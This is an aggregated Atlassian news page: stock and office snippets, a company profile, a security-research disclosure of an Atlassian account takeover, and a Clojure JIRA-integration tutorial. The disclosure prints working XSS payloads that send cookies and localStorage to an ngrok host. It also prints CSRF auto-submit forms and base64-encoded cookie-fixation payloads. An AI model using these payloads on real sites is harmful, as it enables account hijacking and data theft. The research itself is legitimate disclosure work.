Advisory Services Network LLC lifted its stake in <strong>Atlassian</strong> Co. (NASDAQ:TEAM – Free Report) by 37.7% in the 4th quarter, according to its most recent Form 13F filing with the Securities and Exchange Commission (SEC). The firm owned 13,058 shares of the technology company’s stock after buying ...

Advisory Services Network LLC Grows Stake in Atlassian Co. (NASDAQ:TEAM) - Defense World

Spanning five storeys, the 157,000-square foot (14,585 square metres) office houses diverse work and amenity spaces for <strong>Atlassian</strong> Inc, an Australian company that develops products for software developers and project managers.

Mithun completes airy, colourful interior for office in Austin

Games sector employees are paid around half of staff at <strong>Atlassian</strong> Women are paid up to 14% less than men, and are twice as likely to be bullied or harassed Public sector IT workers received a 2% pay rise compared to a median increase of 5.8% for all tech workers The Tech Council of Australia,... ...

Unless you work at Atlassian, Canva or Google, the tech sector union says workers face a massive pay problem - Startup Daily

Get the most recent info and news about ATLASSIAN on HackerNoon, where 10k+ technologists publish stories for 4M+ monthly readers.

Atlassian Corporation Plc, through its subsidiaries, designs, develops, licenses, and maintains various software products worldwide. It provides project tracking, content creation and sharing, and service management products. The company's products include JIRA, a workflow management system that enables teams to plan, organize, track, and manage their work and projects; Confluence, a content collaboration platform that is used to create, share, organize, and discuss projects; and Trello, a collaboration and organization product, which captures and adds structure to fluid fast-forming work for teams. Its products also comprise Bitbucket, a code management and collaboration product for teams using distributed version control systems; and Jira Service Desk, a service desk product for creating and managing service experiences for various service team providers, including IT, legal, and HR teams. In addition, the company offers Opsgenie, an incident management tool that enables IT teams to plan for and respond to service disruptions; Jira Align that enables enterprise organizations build and manage a master plan that maps strategic projects to the various work streams required to deliver them; and other tools comprising Atlassian Access, Bamboo, Crowd, Crucible, Fisheye, Jira Portfolio, Sourcetree, and Statuspage. Atlassian Corporation Plc was founded in 2002 and is headquartered in Sydney, Australia.

ATLASSIAN

Research By: Dikla Barda, Yaara Shriki, Roman Zaikin and Oded Vanunu Background With more than 180,000 customers globally, and millions of users, the Australian 2002 founded company “Atlassian” develops products for software developers, project managers and other software related teams that use the platform for data collaboration and information sharing. While workforces globally turned to remote work as a result of the outbreak of COVID-19, tools such as the ones offered by Atlassian became more popular and critical for teams while the need for a seamless transition to a new work mode became a global necessity. Atlassian, referring to this as “The Rise of Work Anywhere”, conducted about the nature of remote work during the Pandemic. The study surveyed more than 5,000 participants in Australia, France, Germany, Japan, and the US, and shows how the nuances of modern work have been amplified, demanding a shift in the way organizations manage an increasingly distributed workforce. research Breaking on through the Platform On November 16, 2020 Check Point Research (CPR) uncovered chained vulnerabilities that together can be used to take over an account and control some of Atlassian apps connected through SSO, Some of the affected domains are: jira.atlassian.com confluence.atlassian.com getsupport.atlassian.com partners.atlassian.com developer.atlassian.com support.atlassian.com training.atlassian.com What makes a supply chain attack such as this one so significant is the fact that once the attacker leverages these vulnerabilities and takes over an account, he can plant backdoors that he can use in the future for his attack. This can create a severe damage which will be identified and controlled only much after the damage is done. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms Deep Dive Atlassian uses SSO (Single Sign-On) to navigate between Atlassian products such as JIRA, Confluence and Partners. Atlassian implements various web security measures such as CSP, SameSite “Strict” cookies and HttpOnly cookies. We had to bypass these security methods using a combination of several attack techniques. Overall we were able to achieve Full Account Take-Over. First, we had to find a way to inject code into Atlassian – which we used the XSS and CSRF for. Then, using this code injection, we were able to add a new session cookie to the user’s account, and by combining the session fixation vulnerability in Atlassian domains, we were able to take over accounts. Let us dive in into the first bug we found: XSS The first security issue was found on the subdomain . The Training platform offers users courses or credits. We noticed that the Content Security Policy (CSP) was configured poorly on this subdomain with ‘unsafe-inline’ and ‘unsafe-eval’ directives which allows script execution. This makes this subdomain a perfect starting point for our research training.atlassian.com We examined the request parameters when adding courses and credits to the shopping cart. We found that when the item type is “ ”, an additional parameter called “ ” is added to request. This parameter was found vulnerable to XSS. training_credit options._training_credit_account Let’s test a simple payload to receive all of the user’s cookies and local storage: "><svg/onload="window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`"> It works! And we received all the cookies and the local storage of the target: CSRF Since the Stored XSS can only be run when adding items to the shopping cart, we needed to make the user add a malicious item without their notice. Then, because there is no CSRF token we could perform CSRF attack on the shopping list and execute our payload. In order to achieve that, we uploaded the following POC to our servers and sent it to the victim: <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''> 
        <svg/onload=”window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html> However, some of the cookies related to the session of the victim are set to SameSite “Strict” which means the browser prevents them from being sent to the backend. Surprisingly, we found that during the SSO process those missing cookies are completed by the backend which will essentially bypass the SameSite “Strict” for us. SameSite “Strict” Bypass We will now describe the SSO flow. We start with the XSS payload from our origin : https://7a4389292a5d.ngrok.io During the SSO flow, the user gets redirected several times to different paths, such as: /auth/cart ,login.html, etc. Throughout the redirect process, the user goes through the authentication process, which adds the missing cookies that we needed and were protected by SameSite. Because our payload was Stored XSS it was stored in the database and was added to the Shopping List. Here we can see that the payload was injected successfully into the page: And the malicious item was added to the shopping cart: At this step we bypassed SameSite “Strict” for CSRF and CSP with inline JavaScript. However, the more interesting cookie is which is protected by “ ” and we can’t hijack it via JavaScript. JSESSIONID HttpOnly At this point we can perform actions on behalf of the user but not login to his account. We dived in further into the SSO flow in order to find another flaw in the process. HTTPOnly Bypass and Cookie Fixation What is cookie fixation? Cookie Fixation is when an attacker can remotely force the user to use a session cookie known to him, which becomes authenticated. Initially, when the user browses to the login page, the server generates a new session cookie with ‘path=/’ flag. That cookie isn’t associated with any account and only after the user passes the authentication process that same cookie will be associated to his account. We knew that using the XSS we couldn’t get the user’s session cookie, since it was protected by HTTPOnly flag. Instead, we could create a new forged one. The newly created JSESSION cookie has the same flags as the original, with one major change – the path flag. The original path flag is set to the root directory. We were wondering what would happen if we change it to a more a particular path. It turns out that our path will have priority since it is more specific and will be used instead of the original. We changed the path to the exact directive we know the user will get redirected to after authentication which causes the backend to authorize our cookie over the original one. By using cookie fixation, we bypassed the HTTPOnly and hijacked the user’s Atlassian account. We will demonstrate that on the following subdomains: Training.atlassian.com We started by navigating to the URL from a clean browser without any cache to get a new clean cookie. training.atlassian.com JSESSIONID Now, we have a JSESSIONID without any information in it at the backend. If we will send a request to the user profile page we will be redirected to the login page. We will now perform a Cookie Fixation on the target which will force him to use the forged Cookie by using the following steps: We start by modifying our payload and adding the following cookie: document.cookie = "JSESSIONID= 5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=
/auth0; Secure” Note that the original HttpOnly cookie was set for the path “/”, but the new cookie we are setting in the payload is for the path “/auth0”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s more specific. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the which will force the authentication for : “redirect_uri=https://training.atlassian.com/auth0” training.atlassian.com location.href="https://atlassianuni-learndot.auth0.com/authorize? redirect_uri=https://training.atlassian.com/auth 0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk" This auth request will associate our cookie to the target account. So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''>
        <svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTVCMDlDNzNCRjEzRkU5MjNBMkU1QjRFRTBEQUQzMEUzOyBEb21haW49dHJhaW5pbmcuYXRsYXNzaWFuLmNvbTsgUGF0aD0vYXV0aDA7IFNlY3VyZSI7IHNldFRpbWVvdXQoZnVuY3Rpb24oKXsgbG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9hdGxhc3NpYW51bmktbGVhcm5kb3QuYXV0aDAuY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHM6Ly90cmFpbmluZy5hdGxhc3NpYW4uY29tL2F1dGgwJmNsaWVudF9pZD1PN0ZkSFk2NDdWdmJDVHBoQkdtdmZCdDJHZGduSDdNUiZhdWRpZW5jZT1odHRwcyUzQSUyRiUyRmF0bGFzc2lhbnVuaS1sZWFybmRvdC5hdXRoMC5jb20lMkZ1c2VyaW5mbyZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwZW1haWwmcmVzcG9uc2VfdHlwZT1jb2RlJnN0YXRlPUh4RWxwUHlTc3JSdUtjWWJGT2xwOVFrTFpRN2t3RE9lbVg3RGMtNWRubGsiIH0sMzAwMCk7`)”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html>
<!–

// Payload  Explain
btoa(‘    document.cookie=”JSESSIONID=5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=/auth0; Secure”; setTimeout(function()
{ location.href=”https://atlassianuni-learndot.auth0.com/authorize?redirect_uri=
https://training.atlassian.com/auth0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&
audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile
%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk” },3000);     ‘)

–> The Cookie Fixation combined with the XSS and CSRF bugs allowed us to perform full Account Take-Over on Atlassian Training Platform. With the same flow and Cookie Fixation we can navigate to other Atlassian products, for example, jira.atlassian.com. Jira.atlassian.com To hijack Jira accounts with the same flow, we first need to create a session cookie to perform Cookie Fixation. We log in to and take the following cookies: jira.atlassian.com JSESSIONID AWSALB In order to use these cookies for the Cookie Fixation the attacker needs to sign-out from his account to get clean JSESSIONID. We can verify that the cookie is not associated with any account anymore by sending a request to ViewProfile: Next, we will modify our payload, we will perform the same method as we did in training.atlassian.com: document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;” document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;” Note that the original HTTPOnly cookie was set for the path “/”, but the new cookie we are setting is for the path “/plugins”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s a path cookie. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the “redirect_uri=https://jira.atlassian.com/plugins” which will force the authentication for jira.atlassian.com and redirect us to /plugins. . This auth request will associate our cookie to the target account. location.href=”https://auth.atlassian.com/authorize?redirect_uri=https://jira.atlassian.com/plugins/servlet/authentication/auth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none” As can be seen in the following request, the cookie is now assosiated to the target user (“John Doe” in this case). So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

<head></head>

<body onload=”document.forms[0].submit()”>

<form method=”post” action=”https://training.atlassian.com/cart”>

<input type=”hidden” name=”itemType” value=’training_credit’>

<input type=”hidden” name=”itemId” value=’1′>

<input type=”hidden” name=”options._quantity” value=’10’>

<input type=”hidden” name=”options._training_credit_account” value='”><svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTE2NzI4ODVDM0Y1RTQ4MTlERDRFRjBCRjc0OUU1NkM5OyBEb21haW49LmF0bGFzc2lhbi5jb207IFBhdGg9L3BsdWdpbnM7IFNlY3VyZTsiOyAgZG9jdW1lbnQuY29va2llPSJBV1NBTEI9aUF2NlZLVDV0YnUvSEZKVnV1L2RURTdSODB3UVhOalIrMG9wVmJjY0UweklhZE9SSlZHTVp4Q1VjVElnbEwzT1ovQTU0ZXUvTkROTFA1STN6RStXY2dHV0RIcHYxN1NleGpGQmMxV1lBOW1vQzR3RW1Qb29FRS9VcW9vMjsgRG9tYWluPS5hdGxhc3NpYW4uY29tOyBQYXRoPS9wbHVnaW5zLzsgU2VjdXJlOyI7ICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7IGxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vYXV0aC5hdGxhc3NpYW4uY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZqaXJhLmF0bGFzc2lhbi5jb20lMkZwbHVnaW5zJTJGc2VydmxldCUyRmF1dGhlbnRpY2F0aW9uJTNGYXV0aF9wbHVnaW5fb3JpZ2luYWxfdXJsJTNEaHR0cHMlMjUzQSUyNTJGJTI1MkZqaXJhLmF0bGFzc2lhbi5jb20lMjUyRiZjbGllbnRfaWQ9UXhVVmg5dFR1Z29MQzVjZ1kzVmprejNoMWpQU3ZHOXAmc2NvcGU9b3BlbmlkK2VtYWlsK3Byb2ZpbGUmc3RhdGU9NDExOGY1N2YtYTlkOS00ZjZkLWExZDUtYWRkOTM5NzYyZjIzJnJlc3BvbnNlX3R5cGU9Y29kZSZwcm9tcHQ9bm9uZSIgfSwzMDAwKTs=`);”>’>

<input type=”hidden” name=”action” value=’add’>

</form>

</body>

</html>

<!–
// Payload

btoa(‘

document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;”;

document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;”;

setTimeout(function(){

location.href=”https://auth.atlassian.com/authorize?redirect_uri=https%3A%2F%2Fjira.atlassian.com%2Fplugins%2Fservlet%2Fauthentication%3Fauth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none”

},3000);

‘);
–> The Cookie Fixation combined with the XSS and CSRF bugs from allowed us to perform full Account Take-Over on training.atlassian.com Jira.atlassian.com Bitbucket Another direction we looked into was checking if we could inject malicious code to an Organization’s Bitbucket. Bitbucket is a Git-based source code repository hosting service owned by Atlassian and has more than 10 million users. Accessing a company’s Bitbucket repositories could allow attackers to access and change source code, make it public or even plant backdoors. With a Jira account at our hands, we have a few ways to obtain Bitbucket account. One option is by opening a Jira ticket with malicious link to an attacker controlled website. An automatic mail will be sent from Atlassian domain to the user once the ticket is created on Jira systems. An attacker can take advantage of that and include in the ticket a link to a malicious website that steals the user’s credentials. Conclusion By using the XSS with CSRF that we found on combined with the method of Cookie fixation we were able to take over any Atlassian account, in just one click, on every subdomain under atlassian.com that doesn’t use JWT for the session and that is vulnerable to session fixation . For example: training.atlassian.com, jira.atlassian.com, developer.atlassian.com and more. training.atlassian.com Taking over an account in such a collaborative platform means an ability to take over data that is not meant for unauthorized view. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms. You can have a look at . the POC video here

How a Supply-Chain Breach Put at Risk Atlassian Accounts

is the market leading issue-tracking and agile project management tool, and is in heavy use at companies around the globe. Atlassian JIRA For I wanted to build a slick integration to to help my customers to search their JIRA issues alongside their Slack messages, Trello cards, files, GitHub issues and emails. CTX, my team search app JIRA When it came to actually building the integration, I was pleasantly surprised by the , and especially the and the simple integration patterns it promotes. APIs available Atlassian Connect API While there’s — and even a short , I couldn’t find a single, simple tutorial that covered Connect, the webhook interface and the main API in one place. lots of documentation blog series about integrating Bitbucket with a Clojure application JIRA So I wrote one. . The full source of the application we’re building is available on GitHub here What are we building? We’re going to build a JIRA integration in Clojure, that listens for issues being created and mutated and creates a basic activity feed of changes. To do this, we need a Clojure web application, listening on an HTTPS endpoint.  We’ll register the application with JIRA, and every time a user creates or updates a ticket, JIRA will send us an event on a Webhook. We’ll record these in an in-memory database, and write a little front-end application that polls our app to display a list of changes to issues. What is Atlassian Connect? Connect provides a simple framework for integrating with Atlassian applications like JIRA and Confluence. It leverages OAuth2 and JWT, along with some simple integration patterns, to give developers a nice and consistent way to talk to the Atlassian API suite. In its’ most basic form, all you need to do is publish a Descriptor listing the endpoints you provide and the services you require, point your Atlassian application at it, and then deploy some code on the listed endpoints that talks HTTP / JSON. Pre-conditions First, install , and make sure it’s in your PATH.  And get yourself a Java JDK if you haven’t got one. Leiningen Check it all works: $ lein --versionLeiningen 2.8.1 on Java 9.0.4 Java HotSpot(TM) 64-Bit Server VM Basic project setup Let’s create a basic Clojure app skeleton using the . Compojure template $ lein new compojure connect-example$ cd connect-example$ ls-rw-r--r--  1 rory  Users  273 20 Mar 16:21 README.md-rw-r--r--  1 rory  Users  483 20 Mar 16:21 project.cljdrwxr-xr-x  3 rory  Users  102 20 Mar 16:21 resources  drwxr-xr-x  3 rory  Users  102 20 Mar 16:21 src  drwxr-xr-x  3 rory  Users  102 20 Mar 16:21 test$ lein ring server-headlessRetrieving lein-ring/lein-ring/0.9.7/lein-ring-0.9.7.pom from clojars  ...2018-03-20 16:24:40.501:INFO:oejs.Server:jetty-7.6.13.v20130916  2018-03-20 16:24:40.550:INFO:oejs.AbstractConnector:Started SelectChannelConnector@0.0.0.0:3000 In a second tab, use to test it's running: curl $ curl http://localhost:3000Hello World Great! We’ve got a running app. Import basic dependencies Now we need to add some libraries to our Clojure project to let us do the basics of HTTP comms, the Connect flow and so on. Open up the file in an editor of your choice, and make it look like this: project.clj (defproject connect-example "0.1.0-SNAPSHOT"  :min-lein-version "2.0.0"  :dependencies [[org.clojure/clojure "1.9.0"]                 [compojure "1.6.0"]                 [ring/ring-defaults "0.3.1"]                 [ring/ring-json "0.4.0"]                 [clj-connect "0.2.4"]]  :plugins [[lein-ring "0.9.7"]]  :ring {:handler connect-example.handler/app}  :resource-paths ["resources"]  :profiles  {:dev {:dependencies [[javax.servlet/servlet-api "2.5"]                        [ring/ring-mock "0.3.0"]]}}) The libraries in the clause give us HTTP serving ( ), routing ( ) and a simple wrapper around the Atlassian Connect API & underlying JWT technology ( ) :dependencies ring compojure clj-connect Connecting to JIRA JIRA will only talk to our application over HTTPS, so the first hurdle is how to get it on the internet. Without setting up a server, or using something like Heroku, this can be annoyingly time consuming, so here’s a simple way round it: . ngrok ngrok lets you create an externally accessible SSL endpoint to test your integration software. You just run it like this; $ ngrok tls 3000ngrok by @inconshreveable    Session Status                online  Account                       Rory Gibson  Version                       2.2.8  Region                        United States (us)  Web Interface                 http://127.0.0.1:4040  Forwarding                    http://9a69173f.ngrok.io -> localhost:3000  Forwarding                    https://9a69173f.ngrok.io -> localhost:3000Connections                   ttl     opn     rt1     rt5     p50     p90                                0       0       0.00    0.00    0.00    0.00 and it will create a tunnel, and give you a URL — e.g. - you can use to access your software, running on your development machine but accessible over SSL on the internet. https://9a69173f.ngrok.io Now that we have a service that’s discoverable externally, we can generate our OAuth credentials in JIRA. Serving the Descriptor Now we’ve got all the plumbing sorted, we can serve up the Connect Descriptor. This is a simple JSON file that declares the application’s capabilities and dependencies, so that JIRA (and other Atlassian applications) know how to talk to it. Create a file at and paste the following content into it (ensure that the baseUrl property matches your ngrok URL): <project>/resources/public/connect.json {    "key": "connect-example",    "name": "connect-example",    "description": "Demo JIRA / Clojure integration",    "baseUrl": "https://9a69173f.ngrok.io",    "authentication": {        "type": "jwt"    },    "lifecycle": {        "installed": "/installed"    },    "modules": {        "oauthConsumer": {            "clientId": "PLACEHOLDER"        },        "webhooks": [            {                "event": "*",                "url": "/recv"            }        ]            },    "scopes": ["READ"]} Handling lifecycle callbacks The Connect API works by loading your descriptor, then making a call to on your app as a "lifecycle callback" (there are others, like Uninstalled, that we're ignoring here). /installed All it wants is a 200 response. We’ll use Compojure and Ring to create a simple handler that serves this function (and provides basic API plumbing) (ns connect-example.handler  (:require [compojure.core :refer :all]            [compojure.route :as route]            [ring.middleware.defaults :refer [wrap-defaults api-defaults]]            [ring.middleware.json :refer [wrap-json-body wrap-json-response]]            [ring.util.response :refer [response]]))(defroutes app-routes  (POST "/installed" [] {:status 200 :body "OK"}))(def app  (-> app-routes    wrap-json-body    wrap-json-response    (wrap-defaults api-defaults))) Now that we have this much, we can wire it up to JIRA in the Cloud. Save everything and restart the app ( ) lein ring server-headless Go and login to your JIRA instance and click (the cog icon) . Settings > Add-Ons Go to the tiny link at the bottom of the page. Settings and ensure that and are both ticked. Enable development mode Enable private listings Now you should see a link to — click this and paste in the fully-qualified URL to your descriptor (e.g. ) Upload add-on HTTPS https://abcd1234.ngrok.com/connect.json Handling events Once Connect has hooked up to your app, you’ll start receiving the events we specified in the Descriptor whenever they occur.  All we need is some handlers and some logic on our side. Add 2 routes to the routing block — one for JIRA to call when an event happens, and one for us to call to list events. (POST "/recv" req (recv req))(GET "/events" req (response (events req))) and the functions for them to call. gets the payload, extracts the data we want and stores it in an in the server (instead of a DB, this is only a demo :) recv atom (def event-store (atom '()))(defn persist!  "Save event to local in-memory structure"  [e]  (swap! event-store conj e)  (println e) ;; debug info for development  e)(defn transform  "Get the fields we care about from the JIRA payload"  [e1]  (let [id        (-> e1 :issue :key)        user      (-> e1 :user :displayName)        timestamp (-> e1 :timestamp)        type      (-> e1 :webhookEvent)        summary   (-> e1 :issue :fields :summary)]    {:user user :id id :timestamp timestamp :summary summary :type type}))(defn handle-event  [raw]  (-> raw    clojure.walk/keywordize-keys    transform    persist!))(defn events  [_]  @event-store)(defn recv  "Handler function for all events"  [req]  (handle-event (:body req))  {:status 200 :body "OK"}) Restart your app Hit then again. Ctrl-C lein ring server-headless If you change an Issue in your JIRA (say by moving it from To Do to Done in the agile view) you should see some output in your terminal as JIRA calls our app and we save the data, and dump it to screen with the above. println Hit the endpoint to check we're saving the data and you should see something like this: /events $ curl http://localhost:3000/events[{"summary":"My issue 1,"timestamp":1521891438142,"type":"jira:issue_updated","id":"TEST-1"}] Adding a UI That’s great! We have an inbound and outbound API.  But most non-developers don’t like to use for everything, so we'd better add a UI. curl We’ll build something in ClojureScript, so that we can use the same paradigms and dialect across front and back-end codebases. $ mkdir -p src/clj$ mv src/connect-example src/clj$ mkdir -p src/cljs/connect-example$ touch resources/public/index.html Now edit your to the following (pulling in the new directories and adding the ClojureScript libraries and build configuration) project.clj (defproject connect-example "0.1.0-SNAPSHOT"  :min-lein-version "2.0.0"  :dependencies [[org.clojure/clojure "1.9.0"]                 [org.clojure/clojurescript "1.10.217"]                 [compojure "1.6.0"]                 [ring/ring-defaults "0.3.1"]                 [ring/ring-json "0.4.0"]                 [rum "0.11.2"]                 [clj-connect "0.2.4"]                 [cljs-ajax "0.7.3"]]  :plugins [[lein-ring "0.9.7"]            [lein-figwheel "0.5.13"]]  :source-paths ["src/clj"]  :resource-pahts ["resources" "target/cljsbuild"]  :ring {:handler connect-example.handler/app}  :profiles  {:dev {:dependencies [[javax.servlet/servlet-api "2.5"]                        [ring/ring-mock "0.3.2"]]}}  :clean-targets ^{:protect false} [:target-path "out" "resources/public/cljs"]  :figwheel {:css-dirs ["resources/public/css"]             :server-port 3000             :ring-handler connect-example.handler/app}  :cljsbuild {              :builds [{:id "dev"                        :source-paths ["src/cljs"]                        :figwheel true                        :compiler {:main "connect-example.core"                                   :asset-path "cljs/out"                                   :output-to  "resources/public/cljs/main.js"                                   :output-dir "resources/public/cljs/out"}                        }]              }) Create and fill in your resources/public/index.html <!DOCTYPE html>  <html>    <head></head>  <body>    <div id="content"></div>    <script src="app.js" type="text/javascript"></script>  </body></html> and ... src/cljs/connect-example/core.cljs (ns connect-example.core)(let [el (.getElementById js/document "content")]  (set! (.-innerText el) "Hello World")) Which will, when it’s loaded, find the with ID and put an informative message into it. div content Now let’s try to run it, using the ; awesome Figwheel plugin $ lein figwheelRetrieving figwheel/figwheel/0.5.13/figwheel-0.5.13.pom from clojars  Retrieving org/clojure/core.async/0.3.443/core.async-0.3.443.pom from central  ...Figwheel: Validating the configuration found in project.clj  Spec Warning:  missing an :output-to option - you probably will want this ...  Figwheel: Configuration Valid ;)  Figwheel: Starting server at http://0.0.0.0:3449  Figwheel: Watching build - dev  Figwheel: Cleaning build - dev  Figwheel: Starting server at http://0.0.0.0:3449  Figwheel: Watching build - dev  Compiling "main.js" from ["src/cljs"]...  Successfully compiled "main.js" in 1.95 seconds.  Launching ClojureScript REPL for build: dev  Figwheel Controls:            (stop-autobuild)                ;; stops Figwheel autobuilder          (start-autobuild [id ...])      ;; starts autobuilder focused on optional ids          (switch-to-build id ...)        ;; switches autobuilder to different build          (reset-autobuild)               ;; stops, cleans, and starts autobuilder          (reload-config)                 ;; reloads build config and resets autobuild          (build-once [id ...])           ;; builds source one time          (clean-builds [id ..])          ;; deletes compiled cljs target files          (print-config [id ...])         ;; prints out build configurations          (fig-status)                    ;; displays current state of system          (figwheel.client/set-autoload false)    ;; will turn autoloading off          (figwheel.client/set-repl-pprint false) ;; will turn pretty printing off  Switch REPL build focus:          :cljs/quit                      ;; allows you to switch REPL to another build    Docs: (doc function-name-here)    Exit: Control+C or :cljs/quit Results: Stored in vars *1, *2, *3, *e holds last exception objectPrompt will show when Figwheel connects to your application Load up a browser tab pointed to and you should see, in your browser, the message "Hello World". http://localhost:3000 Hello World Some React magic ClojureScript web development is heavily focussed on the React ecosystem. Several React bindings exist; one of the easiest to get started with is . Rum Add the following to the key in your : :dependencies project.clj [cljs-ajax "0.7.3"][rum "0.11.2"] Modify so it includes the for Rum and a component definition (which creates a React component under the hood), then mounts it on the document body. core.cljs require (ns connect-example.core  (:require [rum.core :as rum :refer [defc mount]))(defc label [text]  [:div {:class "label"} text])(mount (label "Hello again") js/document.body) Restart Figwheel (Ctrl-C in your terminal then again) and refresh your browser, and that's it - you're seeing a React rendered application! lein figwheel A simple list-based UI Now we have the basic structure to put a React UI on screen, let’s fill it in with something that’s actually useful. To match the wireframe above, we’ll have an H1 for the title: (defc heading []  [:h1 "JIRA Activity Feed"]) And a component to iterate over a list of JIRA issues — so we’ll call the display of each result an “issue”. We’ll create some dummy data to render initially, too. (defc issue  [{:keys [id summary type timestamp] :as issue}]  [:div.issue   [:div.id id]   [:div.info    [:div.title summary]    [:div.detail type]    [:div.date timestamp]]])(defc issues  [is]  [:div.issues   (map issue is)])(def fake-issues '({:id "FOO-1" :summary "The Title" :type "jira:issue_updated" :timestamp 123456789}))(defc content  [data]  [:div.container   (heading)   (if data     (issues data)     [:div "No activity found in feed."])])(mount (content fake-issues) (.getElementById js/document "content")) Save everything and reload your browser and you should see a very basic list and title. It could probably do with some styling, so let’s tweak our as follows: index.html <!DOCTYPE html>  <html>    <head>    <link rel="stylesheet" href="/site.css" />  </head>  <body>    <div id="content"></div>    <script src="cljs/main.js" type="text/javascript"></script>  </body></html> Create a file with some simple styles: resources/public/css/site.css body {    font-family: sans-serif;}.container {  margin-left: auto;  margin-right: auto;  padding-top: 30px;  width: 800px;}div.issue {    font-size: 16px;  width: 600px;  border: solid black 1px;  padding: 1em;  margin-bottom: 1em;}.issue .id {  font-weight: bold;  float: left;  width: 75px;  height: 50px;  text-align: center;  padding: 1em .5em 0 0;}.issue .info {  height: 100%;}.issue .summary {  font-weight: bold;  padding-bottom: 0.5em} Restart again and reload and everything should be perfect. lein figwheel NB: once you get to this stage, Figwheel’s most awesome benefit kicks in — hot auto-reload of ClojureScript and CSS files. Just save in your editor and the browser updates on its’ own! AJAX comms Now let’s get the UI to query the server side for our JIRA information… Add a new so the top of looks like this: require core.cljs (ns connect-example.core  (:require [rum.core :as rum]            [ajax.core :refer [GET]])) and then let’s add a function to fetch and display the data (and actually call that function to do the display) Remove the existing form and add this to the end of : mount core.cljs (defn handler [data]  (mount (content data) (.getElementById js/document "content")))(fetch-issues handler) Finally, let’s get the browser app to poll the server every 5 seconds to update the feed. (js/setInterval  #(fetch-issues handler)  5000) What have we got? We’ve built a dynamically-updating ClojureScript React application that’s showing live changes from JIRA. It turns out it’s surprisingly easy to integrate a Clojure app with JIRA through Atlassian Connect. Evidently, what we’ve built here is only the barest beginnings of a production app; in real life you’d want to check the validity of inbound events using the JWT functionality built into the Connect API, and you’d at least want a proper database of some sort to persist your data into. And remember — the full working source to this application is on GitHub here for your reference: https://github.com/getctx/connect-example One more thing… If you like what you see here, please check out our application, like JIRA, Trello, Slack, GitHub, Google Drive, email and more in one shot. We offer a free trial with no credit card required.  Thanks! CTX, which lets you and your team search your apps Originally published at getctx.io on March 24, 2018.

Building a JIRA integration with Clojure & Atlassian Connect

